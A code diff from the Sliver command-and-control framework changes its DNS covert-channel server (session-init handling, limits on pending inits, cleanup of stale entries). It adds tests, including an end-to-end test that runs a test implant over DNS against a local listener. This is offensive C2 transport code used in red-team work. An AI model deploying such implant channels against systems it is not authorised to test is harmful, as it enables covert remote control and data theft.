binary.LittleEndian.PutUint32(respBuf, dnsSessionID)
|
||||
for _, q := range req.Question {
|
||||
switch q.Qtype {
|
||||
case dns.TypeA:
|
||||
a := &dns.A{
|
||||
Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeA, Class: dns.ClassINET, Ttl: s.TTL},
|
||||
A: respBuf,
|
||||
}
|
||||
resp.Answer = append(resp.Answer, a)
|
||||
}
|
||||
func (s *SliverDNSServer) deletePendingInit(id uint32) {
|
||||
if _, loaded := s.messages.LoadAndDelete(id); loaded {
|
||||
s.pendingInits.Add(-1)
|
||||
}
|
||||
return resp
|
||||
}
|
||||
|
||||
func (s *SliverDNSServer) handleDNSSessionInit(domain string, msg *dnspb.DNSMessage, checksum uint32, req *dns.Msg) *dns.Msg {
|
||||
dnsLog.Debugf("[session init] with dns session id %d", msg.ID&sessionIDBitMask)
|
||||
loadSession, _ := s.sessions.Load(msg.ID & sessionIDBitMask)
|
||||
dnsSession := loadSession.(*DNSSession)
|
||||
sessionID := msg.ID & sessionIDBitMask
|
||||
dnsLog.Debugf("[session init] with dns session id %d", sessionID)
|
||||
if sessionID == 0 {
|
||||
dnsLog.Warnf("[session init] invalid dns session id")
|
||||
return s.refusedErrorResp(req)
|
||||
}
|
||||
if msg.Size <= 32 {
|
||||
dnsLog.Warnf("[session init] invalid msg data length")
|
||||
return s.refusedErrorResp(req)
|
||||
}
|
||||
if dnsSession.CipherCtx != nil {
|
||||
dnsLog.Warnf("[session init] session is already initialized")
|
||||
if existing, ok := s.sessions.Load(sessionID); ok {
|
||||
// Defensive: INIT should only be called once per session ID.
|
||||
if dnsSession, ok := existing.(*DNSSession); ok && dnsSession != nil && dnsSession.CipherCtx != nil {
|
||||
dnsLog.Warnf("[session init] session is already initialized")
|
||||
return s.refusedErrorResp(req)
|
||||
}
|
||||
dnsLog.Warnf("[session init] session already exists")
|
||||
return s.refusedErrorResp(req)
|
||||
}
|
||||
|
||||
@@ -564,7 +660,27 @@ func (s *SliverDNSServer) handleDNSSessionInit(domain string, msg *dnspb.DNSMess
|
||||
return s.refusedErrorResp(req)
|
||||
}
|
||||
|
||||
now := time.Now()
|
||||
dnsSession := &DNSSession{
|
||||
ID: sessionID,
|
||||
Created: now,
|
||||
dnsIdMsgIdMap: map[uint32]uint32{},
|
||||
outgoingMsgIDs: []uint32{},
|
||||
outgoingBuffers: map[uint32][]byte{},
|
||||
outgoingMutex: &sync.RWMutex{},
|
||||
incomingEnvelopes: map[uint32]*PendingEnvelope{},
|
||||
incomingMutex: &sync.Mutex{},
|
||||
msgCount: uint32(0),
|
||||
}
|
||||
dnsSession.touch(now)
|
||||
dnsSession.ImplantConn = core.NewImplantConnection("dns", "n/a")
|
||||
dnsSession.CipherCtx = cryptography.NewCipherContext(sessionKey)
|
||||
|
||||
if _, loaded := s.sessions.LoadOrStore(sessionID, dnsSession); loaded {
|
||||
dnsLog.Warnf("[session init] session id collision for %d", sessionID)
|
||||
return s.refusedErrorResp(req)
|
||||
}
|
||||
|
||||
go func() {
|
||||
dnsLog.Debugf("[dns] starting implant conn send loop")
|
||||
for envelope := range dnsSession.ImplantConn.Send {
|
||||
@@ -572,7 +688,6 @@ func (s *SliverDNSServer) handleDNSSessionInit(domain string, msg *dnspb.DNSMess
|
||||
}
|
||||
dnsLog.Debugf("[dns] closing implant conn send loop")
|
||||
}()
|
||||
dnsSession.CipherCtx = cryptography.NewCipherContext(sessionKey)
|
||||
buf := make([]byte, 4)
|
||||
binary.LittleEndian.PutUint32(buf, dnsSession.ID)
|
||||
respData, err := dnsSession.CipherCtx.Encrypt(buf)
|
||||
@@ -628,6 +743,7 @@ func (s *SliverDNSServer) handlePoll(domain string, msg *dnspb.DNSMessage, check
|
||||
dnsLog.Debugf("[poll] with dns session id %d", msg.ID&sessionIDBitMask)
|
||||
loadSession, _ := s.sessions.Load(msg.ID & sessionIDBitMask)
|
||||
dnsSession := loadSession.(*DNSSession)
|
||||
dnsSession.touch(time.Now())
|
||||
|
||||
msgID, msgLen, err := dnsSession.PopOutgoingMsgID(msg)
|
||||
if err != nil {
|
||||
@@ -709,6 +825,7 @@ func (s *SliverDNSServer) handleDataFromImplant(domain string, msg *dnspb.DNSMes
|
||||
dnsLog.Debugf("[from implant] dns session id %d", msg.ID&sessionIDBitMask)
|
||||
loadSession, _ := s.sessions.Load(msg.ID & sessionIDBitMask)
|
||||
dnsSession := loadSession.(*DNSSession)
|
||||
dnsSession.touch(time.Now())
|
||||
dnsLog.Debugf("[from implant] msg id: %d, size: %d", msg.ID, msg.Size)
|
||||
pending := dnsSession.IncomingPendingEnvelope(msg.ID, msg.Size)
|
||||
complete := pending.Insert(msg)
|
||||
@@ -739,6 +856,7 @@ func (s *SliverDNSServer) handleDataToImplant(domain string, msg *dnspb.DNSMessa
|
||||
dnsLog.Debugf("[to implant] dns session id %d", msg.ID&sessionIDBitMask)
|
||||
loadSession, _ := s.sessions.Load(msg.ID & sessionIDBitMask)
|
||||
dnsSession := loadSession.(*DNSSession)
|
||||
dnsSession.touch(time.Now())
|
||||
|
||||
data, err := dnsSession.OutgoingRead(msg.ID, msg.Start, msg.Stop)
|
||||
if err != nil {
|
||||
@@ -798,6 +916,7 @@ func (s *SliverDNSServer) handleClear(domain string, msg *dnspb.DNSMessage, chec
|
||||
dnsLog.Debugf("[clear] dns session id %d", msg.ID&sessionIDBitMask)
|
||||
loadSession, _ := s.sessions.Load(msg.ID & sessionIDBitMask)
|
||||
dnsSession := loadSession.(*DNSSession)
|
||||
dnsSession.touch(time.Now())
|
||||
dnsSession.ClearOutgoingEnvelope(msg.ID)
|
||||
|
||||
respBuf := make([]byte, 4)
|
||||
|
||||
@@ -0,0 +1,309 @@
|
||||
//go:build server && go_sqlite && sliver_e2e
|
||||
|
||||
package c2_test
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/rand"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"net"
|
||||
"os"
|
||||
"runtime"
|
||||
"strconv"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
implantCrypto "github.com/bishopfox/sliver/implant/sliver/cryptography"
|
||||
implantHandlers "github.com/bishopfox/sliver/implant/sliver/handlers"
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports/dnsclient"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/certs"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
serverCrypto "github.com/bishopfox/sliver/server/cryptography"
|
||||
"github.com/bishopfox/sliver/server/db"
|
||||
"github.com/bishopfox/sliver/server/db/models"
|
||||
"github.com/bishopfox/sliver/server/transport"
|
||||
"github.com/google/uuid"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const dnsE2EEchoMsgType = uint32(0x7fffffff)
|
||||
|
||||
func TestDNS_EndToEndPingRPC(t *testing.T) {
|
||||
// NOTE: If you run this test in a restricted environment where writes to
|
||||
// `~/.sliver` are blocked, set `SLIVER_ROOT_DIR` to a writable temp dir.
|
||||
|
||||
t.Cleanup(func() {
|
||||
for _, session := range core.Sessions.All() {
|
||||
core.Sessions.Remove(session.ID)
|
||||
}
|
||||
})
|
||||
|
||||
setupDNSKeyExImplantBuild(t)
|
||||
|
||||
grpcServer, grpcListener, err := transport.LocalListener()
|
||||
if err != nil {
|
||||
t.Fatalf("start local grpc listener: %v", err)
|
||||
}
|
||||
t.Cleanup(func() {
|
||||
grpcServer.Stop()
|
||||
_ = grpcListener.Close()
|
||||
})
|
||||
|
||||
rpcConn, err := dialBufConn(context.Background(), grpcListener)
|
||||
if err != nil {
|
||||
t.Fatalf("dial grpc/bufconn: %v", err)
|
||||
}
|
||||
t.Cleanup(func() { _ = rpcConn.Close() })
|
||||
rpcClient := rpcpb.NewSliverRPCClient(rpcConn)
|
||||
|
||||
dnsParent := "e2e.example.com."
|
||||
dnsPort := freeUDPPort(t)
|
||||
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
|
||||
defer cancel()
|
||||
dnsListener, err := rpcClient.StartDNSListener(ctx, &clientpb.DNSListenerReq{
|
||||
Domains: []string{dnsParent},
|
||||
Canaries: false,
|
||||
Host: "127.0.0.1",
|
||||
Port: dnsPort,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("StartDNSListener: %v", err)
|
||||
}
|
||||
t.Cleanup(func() {
|
||||
if job := core.Jobs.Get(int(dnsListener.JobID)); job != nil {
|
||||
job.JobCtrl <- true
|
||||
}
|
||||
_ = db.DeleteListener(dnsListener.JobID)
|
||||
})
|
||||
|
||||
// Give the UDP listener a moment to bind before the implant starts sending queries.
|
||||
time.Sleep(50 * time.Millisecond)
|
||||
|
||||
stopImplant := startTestDNSImplant(t, dnsParent, dnsPort)
|
||||
t.Cleanup(stopImplant)
|
||||
|
||||
sessionID := waitForSessionID(t, 10*time.Second)
|
||||
|
||||
pingReq := &sliverpb.Ping{
|
||||
Nonce: 31337,
|
||||
Request: &commonpb.Request{
|
||||
SessionID: sessionID,
|
||||
Timeout: int64(5 * time.Second),
|
||||
},
|
||||
}
|
||||
pingResp, err := rpcClient.Ping(ctx, pingReq)
|
||||
if err != nil {
|
||||
t.Fatalf("Ping: %v", err)
|
||||
}
|
||||
if pingResp.Nonce != pingReq.Nonce {
|
||||
t.Fatalf("ping nonce mismatch: %d != %d", pingResp.Nonce, pingReq.Nonce)
|
||||
}
|
||||
|
||||
// Extra validation: send a larger request/response directly via the session to
|
||||
// force message fragmentation and reassembly over the DNS C2 transport.
|
||||
session := core.Sessions.Get(sessionID)
|
||||
if session == nil {
|
||||
t.Fatalf("session not found: %s", sessionID)
|
||||
}
|
||||
large := make([]byte, 8192)
|
||||
if _, err := rand.Read(large); err != nil {
|
||||
t.Fatalf("rand.Read: %v", err)
|
||||
}
|
||||
resp, err := session.Request(dnsE2EEchoMsgType, 20*time.Second, large)
|
||||
if err != nil {
|
||||
t.Fatalf("session.Request(echo): %v", err)
|
||||
}
|
||||
if !bytesEqual(resp, large) {
|
||||
t.Fatalf("echo response mismatch: %d != %d bytes", len(resp), len(large))
|
||||
}
|
||||
}
|
||||
|
||||
func bytesEqual(a, b []byte) bool {
|
||||
if len(a) != len(b) {
|
||||
return false
|
||||
}
|
||||
for i := range a {
|
||||
if a[i] != b[i] {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func freeUDPPort(t *testing.T) uint32 {
|
||||
t.Helper()
|
||||
conn, err := net.ListenPacket("udp", "127.0.0.1:0")
|
||||
if err != nil {
|
||||
t.Fatalf("listen udp: %v", err)
|
||||
}
|
||||
defer conn.Close()
|
||||
_, portStr, err := net.SplitHostPort(conn.LocalAddr().String())
|
||||
if err != nil {
|
||||
t.Fatalf("split udp addr: %v", err)
|
||||
}
|
||||
port, err := strconv.Atoi(portStr)
|
||||
if err != nil {
|
||||
t.Fatalf("parse udp port: %v", err)
|
||||
}
|
||||
if port <= 0 || 65535 < port {
|
||||
t.Fatalf("unexpected udp port: %d", port)
|
||||
}
|
||||
return uint32(port)
|
||||
}
|
||||
|
||||
func setupDNSKeyExImplantBuild(t *testing.T) {
|
||||
t.Helper()
|
||||
|
||||
certs.SetupCAs()
|
||||
serverAgeKeyPair := serverCrypto.AgeServerKeyPair()
|
||||
peerAgeKeyPair, err := serverCrypto.RandomAgeKeyPair()
|
||||
if err != nil {
|
||||
t.Fatalf("random age key pair: %v", err)
|
||||
}
|
||||
|
||||
implantCrypto.SetSecrets(
|
||||
peerAgeKeyPair.Public,
|
||||
peerAgeKeyPair.Private,
|
||||
"",
|
||||
serverAgeKeyPair.Public,
|
||||
serverCrypto.MinisignServerPublicKey(),
|
||||
)
|
||||
|
||||
digest := sha256.Sum256([]byte(peerAgeKeyPair.Public))
|
||||
publicKeyDigest := hex.EncodeToString(digest[:])
|
||||
|
||||
implantBuild := &models.ImplantBuild{
|
||||
Name: "test-" + publicKeyDigest,
|
||||
PeerPublicKey: peerAgeKeyPair.Public,
|
||||
PeerPublicKeyDigest: publicKeyDigest,
|
||||
PeerPrivateKey: peerAgeKeyPair.Private,
|
||||
AgeServerPublicKey: serverAgeKeyPair.Public,
|
||||
}
|
||||
|
||||
if err := db.Session().Create(implantBuild).Error; err != nil {
|
||||
t.Fatalf("create implant build: %v", err)
|
||||
}
|
||||
t.Cleanup(func() {
|
||||
_ = db.Session().Delete(implantBuild).Error
|
||||
})
|
||||
}
|
||||
|
||||
func startTestDNSImplant(t *testing.T, dnsParent string, dnsPort uint32) func() {
|
||||
t.Helper()
|
||||
|
||||
opts := &dnsclient.DNSOptions{
|
||||
QueryTimeout: 250 * time.Millisecond,
|
||||
RetryWait: 50 * time.Millisecond,
|
||||
RetryCount: 10,
|
||||
MaxErrors: 10,
|
||||
WorkersPerResolver: 1,
|
||||
NoTXT: false,
|
||||
ForceResolvers: fmt.Sprintf("127.0.0.1:%d", dnsPort),
|
||||
}
|
||||
|
||||
// Starting the UDP listener is asynchronous relative to the gRPC call that
|
||||
// created it. Retry session init for a short time to avoid flakes.
|
||||
var (
|
||||
client *dnsclient.SliverDNSClient
|
||||
err error
|
||||
)
|
||||
deadline := time.Now().Add(5 * time.Second)
|
||||
for {
|
||||
client, err = dnsclient.DNSStartSession(dnsParent, opts)
|
||||
if err == nil {
|
||||
break
|
||||
}
|
||||
if time.Now().After(deadline) {
|
||||
t.Fatalf("DNSStartSession: %v", err)
|
||||
}
|
||||
time.Sleep(50 * time.Millisecond)
|
||||
}
|
||||
|
||||
register := &sliverpb.Register{
|
||||
Name: "e2e-dns",
|
||||
Hostname: "localhost",
|
||||
Uuid: uuid.NewString(),
|
||||
Username: "unit-test",
|
||||
Os: runtime.GOOS,
|
||||
Arch: runtime.GOARCH,
|
||||
Pid: int32(os.Getpid()),
|
||||
Filename: "sliver-e2e",
|
||||
ActiveC2: "dns://e2e",
|
||||
Version: "e2e",
|
||||
ReconnectInterval: 0,
|
||||
ProxyURL: "",
|
||||
Locale: "en_US",
|
||||
}
|
||||
regData, err := proto.Marshal(register)
|
||||
if err != nil {
|
||||
t.Fatalf("marshal register: %v", err)
|
||||
}
|
||||
if err := client.WriteEnvelope(&sliverpb.Envelope{Type: sliverpb.MsgRegister, Data: regData}); err != nil {
|
||||
t.Fatalf("send register: %v", err)
|
||||
}
|
||||
|
||||
handlers := implantHandlers.GetSystemHandlers()
|
||||
abort := make(chan struct{})
|
||||
done := make(chan struct{})
|
||||
go func() {
|
||||
defer close(done)
|
||||
for {
|
||||
select {
|
||||
case <-abort:
|
||||
return
|
||||
default:
|
||||
}
|
||||
|
||||
envelope, err := client.ReadEnvelope()
|
||||
switch err {
|
||||
case nil:
|
||||
if envelope == nil {
|
||||
time.Sleep(25 * time.Millisecond)
|
||||
continue
|
||||
}
|
||||
case dnsclient.ErrTimeout:
|
||||
continue
|
||||
case dnsclient.ErrClosed:
|
||||
return
|
||||
default:
|
||||
// Treat transient resolver errors as retryable in this test loop.
|
||||
continue
|
||||
}
|
||||
|
||||
if envelope.ID == 0 {
|
||||
continue
|
||||
}
|
||||
if envelope.Type == dnsE2EEchoMsgType {
|
||||
_ = client.WriteEnvelope(&sliverpb.Envelope{ID: envelope.ID, Data: envelope.Data})
|
||||
continue
|
||||
}
|
||||
|
||||
handler, ok := handlers[envelope.Type]
|
||||
if !ok {
|
||||
_ = client.WriteEnvelope(&sliverpb.Envelope{ID: envelope.ID, UnknownMessageType: true})
|
||||
continue
|
||||
}
|
||||
|
||||
handler(envelope.Data, func(data []byte, err error) {
|
||||
_ = err
|
||||
_ = client.WriteEnvelope(&sliverpb.Envelope{ID: envelope.ID, Data: data})
|
||||
})
|
||||
}
|
||||
}()
|
||||
|
||||
return func() {
|
||||
close(abort)
|
||||
_ = client.CloseSession()
|
||||
select {
|
||||
case <-done:
|
||||
case <-time.After(5 * time.Second):
|
||||
}
|
||||
}
|
||||
}
|
||||
+289
-19
@@ -232,31 +232,55 @@ func reassemble(t *testing.T, parent string, size int, encoder encoders.Encoder)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDNSHelloRoundTrip(t *testing.T) {
|
||||
func TestDNSSessionInitRoundTrip(t *testing.T) {
|
||||
server := newTestDNSServer()
|
||||
resolver := &testDNSResolver{server: server, parent: example1}
|
||||
|
||||
msg := &dnspb.DNSMessage{
|
||||
Type: dnspb.DNSMessageType_TOTP,
|
||||
ID: 0,
|
||||
sessionID := uint32(0x123456)
|
||||
if _, ok := server.sessions.Load(sessionID); ok {
|
||||
t.Fatalf("expected session %d to not exist before init", sessionID)
|
||||
}
|
||||
domain, err := encodeMessageDomain(example1, msg)
|
||||
|
||||
key := implantCrypto.RandomSymmetricKey()
|
||||
cipherCtx := implantCrypto.NewCipherContext(key)
|
||||
initData, err := implantCrypto.AgeKeyExToServer(key[:])
|
||||
if err != nil {
|
||||
t.Fatalf("encodeMessageDomain failed: %s", err)
|
||||
t.Fatalf("AgeKeyExToServer failed: %s", err)
|
||||
}
|
||||
data, _, err := resolver.A(domain)
|
||||
initMsg := &dnspb.DNSMessage{
|
||||
Type: dnspb.DNSMessageType_INIT,
|
||||
ID: 0x01000000 | sessionID,
|
||||
Size: uint32(len(initData)),
|
||||
}
|
||||
client := dnsclient.NewDNSClient(example1, opts)
|
||||
domains, err := client.SplitBuffer(initMsg, implantEncoders.Base32Encoder{}, initData)
|
||||
if err != nil {
|
||||
t.Fatalf("resolver.A failed: %s", err)
|
||||
t.Fatalf("SplitBuffer failed: %s", err)
|
||||
}
|
||||
if len(data) != 4 {
|
||||
t.Fatalf("expected 4 bytes in response, got %d", len(data))
|
||||
|
||||
var respData []byte
|
||||
for _, domain := range domains {
|
||||
data, _, err := resolver.TXT(domain)
|
||||
if err != nil {
|
||||
t.Fatalf("resolver.TXT failed: %s", err)
|
||||
}
|
||||
if 0 < len(data) {
|
||||
respData = data
|
||||
}
|
||||
}
|
||||
sessionID := binary.LittleEndian.Uint32(data) & sessionIDBitMask
|
||||
if sessionID == 0 {
|
||||
t.Fatal("expected non-zero session id")
|
||||
if len(respData) < 1 {
|
||||
t.Fatal("expected non-empty init response")
|
||||
}
|
||||
plaintext, err := cipherCtx.Decrypt(respData)
|
||||
if err != nil {
|
||||
t.Fatalf("init response decrypt failed: %s", err)
|
||||
}
|
||||
got := binary.LittleEndian.Uint32(plaintext) & sessionIDBitMask
|
||||
if got != sessionID {
|
||||
t.Fatalf("expected session id %d, got %d", sessionID, got)
|
||||
}
|
||||
if _, ok := server.sessions.Load(sessionID); !ok {
|
||||
t.Fatalf("expected session %d to be stored", sessionID)
|
||||
t.Fatalf("expected session %d to be stored after init", sessionID)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -421,7 +445,8 @@ func TestDNSDataToImplantRejectsInvalidRead(t *testing.T) {
|
||||
}
|
||||
|
||||
func TestIsC2Domain(t *testing.T) {
|
||||
listener := StartDNSListener("", uint16(9999), c2Domains, false, true)
|
||||
listener := StartDNSListener("", uint16(9999), c2Domains, false)
|
||||
t.Cleanup(func() { _ = listener.Shutdown() })
|
||||
isC2, domain := listener.isC2SubDomain(c2Domains, "asdf.1.example.com.")
|
||||
if !isC2 {
|
||||
t.Fatal("IsC2Domain expected true, got false")
|
||||
@@ -444,7 +469,8 @@ func TestIsC2Domain(t *testing.T) {
|
||||
}
|
||||
|
||||
func TestDecodeSubdataBase32(t *testing.T) {
|
||||
listener := StartDNSListener("", uint16(9999), c2Domains, false, true)
|
||||
listener := StartDNSListener("", uint16(9999), c2Domains, false)
|
||||
t.Cleanup(func() { _ = listener.Shutdown() })
|
||||
payload := make([]byte, 64)
|
||||
rand.Read(payload)
|
||||
original := &dnspb.DNSMessage{
|
||||
@@ -476,7 +502,8 @@ func TestDecodeSubdataBase32(t *testing.T) {
|
||||
}
|
||||
|
||||
func TestDecodeSubdataRejectsInvalid(t *testing.T) {
|
||||
listener := StartDNSListener("", uint16(9999), c2Domains, false, true)
|
||||
listener := StartDNSListener("", uint16(9999), c2Domains, false)
|
||||
t.Cleanup(func() { _ = listener.Shutdown() })
|
||||
_, _, err := listener.decodeSubdata("invalid")
|
||||
if err != ErrInvalidMsg {
|
||||
t.Fatalf("expected ErrInvalidMsg, got %v", err)
|
||||
@@ -484,7 +511,8 @@ func TestDecodeSubdataRejectsInvalid(t *testing.T) {
|
||||
}
|
||||
|
||||
func TestDecodeSubdataRejectsInvalidProto(t *testing.T) {
|
||||
listener := StartDNSListener("", uint16(9999), c2Domains, false, true)
|
||||
listener := StartDNSListener("", uint16(9999), c2Domains, false)
|
||||
t.Cleanup(func() { _ = listener.Shutdown() })
|
||||
encoded, err := implantEncoders.Base32Encoder{}.Encode([]byte{0x00})
|
||||
if err != nil {
|
||||
t.Fatalf("encode failed: %s", err)
|
||||
@@ -570,6 +598,199 @@ func TestAccumulateInitDataReassembles(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestAccumulateInitDataCapsPendingInits(t *testing.T) {
|
||||
server := newTestDNSServer()
|
||||
|
||||
// Only send a single fragment per INIT so each call allocates one pending init.
|
||||
for i := 0; i < defaultMaxPendingDNSInits+10; i++ {
|
||||
id := uint32(i + 1) // avoid zero
|
||||
msg := &dnspb.DNSMessage{
|
||||
Type: dnspb.DNSMessageType_INIT,
|
||||
ID: id,
|
||||
Size: 2048,
|
||||
Start: 0,
|
||||
Data: []byte{0xAA},
|
||||
}
|
||||
_, complete, err := server.accumulateInitData(msg)
|
||||
if i < defaultMaxPendingDNSInits {
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error for pending init %d: %v", i, err)
|
||||
}
|
||||
if complete {
|
||||
t.Fatalf("unexpected completion for pending init %d", i)
|
||||
}
|
||||
if _, ok := server.messages.Load(id); !ok {
|
||||
t.Fatalf("expected pending init %d to be stored", id)
|
||||
}
|
||||
continue
|
||||
}
|
||||
if err != ErrInvalidMsg {
|
||||
t.Fatalf("expected ErrInvalidMsg after cap, got %v", err)
|
||||
}
|
||||
if _, ok := server.messages.Load(id); ok {
|
||||
t.Fatalf("expected pending init %d to not be stored after cap", id)
|
||||
}
|
||||
}
|
||||
|
||||
if got := server.pendingInits.Load(); got != int64(defaultMaxPendingDNSInits) {
|
||||
t.Fatalf("expected pendingInits=%d, got %d", defaultMaxPendingDNSInits, got)
|
||||
}
|
||||
|
||||
var count int64
|
||||
server.messages.Range(func(key, value any) bool {
|
||||
count++
|
||||
return true
|
||||
})
|
||||
if count != int64(defaultMaxPendingDNSInits) {
|
||||
t.Fatalf("expected %d pending init entries, got %d", defaultMaxPendingDNSInits, count)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAccumulateInitDataCompletionCleansUpPendingInit(t *testing.T) {
|
||||
server := newTestDNSServer()
|
||||
client := dnsclient.NewDNSClient(example1, opts)
|
||||
|
||||
testData := make([]byte, 2048)
|
||||
rand.Read(testData)
|
||||
msg := &dnspb.DNSMessage{
|
||||
Type: dnspb.DNSMessageType_INIT,
|
||||
ID: 0x01020304,
|
||||
Size: uint32(len(testData)),
|
||||
}
|
||||
domains, err := client.SplitBuffer(msg, implantEncoders.Base32Encoder{}, testData)
|
||||
if err != nil {
|
||||
t.Fatalf("SplitBuffer failed: %s", err)
|
||||
}
|
||||
|
||||
subMsgs := make([]*dnspb.DNSMessage, 0, len(domains))
|
||||
for _, domain := range domains {
|
||||
subdata := strings.TrimSuffix(domain, example1)
|
||||
subdata = strings.ReplaceAll(subdata, ".", "")
|
||||
raw, err := implantEncoders.Base32Encoder{}.Decode([]byte(subdata))
|
||||
if err != nil {
|
||||
t.Fatalf("decode subdata failed: %s", err)
|
||||
}
|
||||
subMsg := &dnspb.DNSMessage{}
|
||||
if err := proto.Unmarshal(raw, subMsg); err != nil {
|
||||
t.Fatalf("unmarshal submsg failed: %s", err)
|
||||
}
|
||||
subMsgs = append(subMsgs, subMsg)
|
||||
}
|
||||
|
||||
for _, subMsg := range subMsgs {
|
||||
_, _, err := server.accumulateInitData(subMsg)
|
||||
if err != nil {
|
||||
t.Fatalf("accumulateInitData failed: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
if got := server.pendingInits.Load(); got != 0 {
|
||||
t.Fatalf("expected pendingInits=0 after completion, got %d", got)
|
||||
}
|
||||
if _, ok := server.messages.Load(msg.ID); ok {
|
||||
t.Fatalf("expected pending init %d to be deleted after completion", msg.ID)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAccumulateInitDataSizeMismatchCleansUpPendingInit(t *testing.T) {
|
||||
server := newTestDNSServer()
|
||||
id := uint32(0x01020304)
|
||||
|
||||
// First fragment creates pending state.
|
||||
_, complete, err := server.accumulateInitData(&dnspb.DNSMessage{
|
||||
Type: dnspb.DNSMessageType_INIT,
|
||||
ID: id,
|
||||
Size: 2048,
|
||||
Start: 0,
|
||||
Data: []byte{0xAA},
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error creating pending init: %v", err)
|
||||
}
|
||||
if complete {
|
||||
t.Fatal("unexpected completion creating pending init")
|
||||
}
|
||||
if got := server.pendingInits.Load(); got != 1 {
|
||||
t.Fatalf("expected pendingInits=1, got %d", got)
|
||||
}
|
||||
|
||||
// Mismatched Size should reject and delete pending state.
|
||||
_, _, err = server.accumulateInitData(&dnspb.DNSMessage{
|
||||
Type: dnspb.DNSMessageType_INIT,
|
||||
ID: id,
|
||||
Size: 2049,
|
||||
Start: 1,
|
||||
Data: []byte{0xBB},
|
||||
})
|
||||
if err != ErrInvalidMsg {
|
||||
t.Fatalf("expected ErrInvalidMsg for mismatched size, got %v", err)
|
||||
}
|
||||
if got := server.pendingInits.Load(); got != 0 {
|
||||
t.Fatalf("expected pendingInits=0 after cleanup, got %d", got)
|
||||
}
|
||||
if _, ok := server.messages.Load(id); ok {
|
||||
t.Fatalf("expected pending init %d to be deleted after size mismatch", id)
|
||||
}
|
||||
}
|
||||
|
||||
func TestGCPendingInitsExpiresOldEntries(t *testing.T) {
|
||||
server := newTestDNSServer()
|
||||
|
||||
now := time.Now()
|
||||
expiredAt := now.Add(-defaultPendingDNSInitTTL - time.Second)
|
||||
freshAt := now.Add(-defaultPendingDNSInitTTL / 2)
|
||||
|
||||
expiredIDs := make([]uint32, 0, 10)
|
||||
freshIDs := make([]uint32, 0, 5)
|
||||
|
||||
for i := 0; i < 10; i++ {
|
||||
id := uint32(0x90000000 + i)
|
||||
expiredIDs = append(expiredIDs, id)
|
||||
server.messages.Store(id, &pendingInit{
|
||||
Created: expiredAt,
|
||||
Envelope: &PendingEnvelope{
|
||||
Size: 1,
|
||||
received: 0,
|
||||
messages: map[uint32][]byte{},
|
||||
mutex: &sync.Mutex{},
|
||||
complete: false,
|
||||
},
|
||||
})
|
||||
server.pendingInits.Add(1)
|
||||
}
|
||||
for i := 0; i < 5; i++ {
|
||||
id := uint32(0xA0000000 + i)
|
||||
freshIDs = append(freshIDs, id)
|
||||
server.messages.Store(id, &pendingInit{
|
||||
Created: freshAt,
|
||||
Envelope: &PendingEnvelope{
|
||||
Size: 1,
|
||||
received: 0,
|
||||
messages: map[uint32][]byte{},
|
||||
mutex: &sync.Mutex{},
|
||||
complete: false,
|
||||
},
|
||||
})
|
||||
server.pendingInits.Add(1)
|
||||
}
|
||||
|
||||
server.gcPendingInits()
|
||||
|
||||
for _, id := range expiredIDs {
|
||||
if _, ok := server.messages.Load(id); ok {
|
||||
t.Fatalf("expected expired pending init %d to be deleted", id)
|
||||
}
|
||||
}
|
||||
for _, id := range freshIDs {
|
||||
if _, ok := server.messages.Load(id); !ok {
|
||||
t.Fatalf("expected fresh pending init %d to remain", id)
|
||||
}
|
||||
}
|
||||
if got := server.pendingInits.Load(); got != int64(len(freshIDs)) {
|
||||
t.Fatalf("expected pendingInits=%d, got %d", len(freshIDs), got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSplitToChunksPadding(t *testing.T) {
|
||||
data := []byte{1, 2, 3, 4, 5, 6}
|
||||
chunks := splitToChunks(data, 4)
|
||||
@@ -658,7 +879,6 @@ func newTestDNSServer() *SliverDNSServer {
|
||||
messages: &sync.Map{},
|
||||
TTL: 0,
|
||||
MaxTXTLength: defaultMaxTXTLength,
|
||||
EnforceOTP: false,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -860,3 +1080,53 @@ func randomBytes(size int) []byte {
|
||||
rand.Read(buf)
|
||||
return buf
|
||||
}
|
||||
|
||||
func TestAccumulateInitDataRejectsOversizedInit(t *testing.T) {
|
||||
server := newTestDNSServer()
|
||||
msg := &dnspb.DNSMessage{
|
||||
Type: dnspb.DNSMessageType_INIT,
|
||||
ID: 0x01020304,
|
||||
Size: defaultMaxDNSInitSize + 1,
|
||||
Data: []byte{0x01},
|
||||
}
|
||||
|
||||
_, _, err := server.accumulateInitData(msg)
|
||||
if err != ErrInvalidMsg {
|
||||
t.Fatalf("expected ErrInvalidMsg, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAccumulateInitDataRejectsReceivedOverrun(t *testing.T) {
|
||||
server := newTestDNSServer()
|
||||
|
||||
// Declared size is 8 bytes, but two chunks deliver 10 bytes total.
|
||||
first := &dnspb.DNSMessage{
|
||||
Type: dnspb.DNSMessageType_INIT,
|
||||
ID: 0x0a0b0c0d,
|
||||
Size: 8,
|
||||
Start: 0,
|
||||
Stop: 5,
|
||||
Data: []byte("12345"),
|
||||
}
|
||||
second := &dnspb.DNSMessage{
|
||||
Type: dnspb.DNSMessageType_INIT,
|
||||
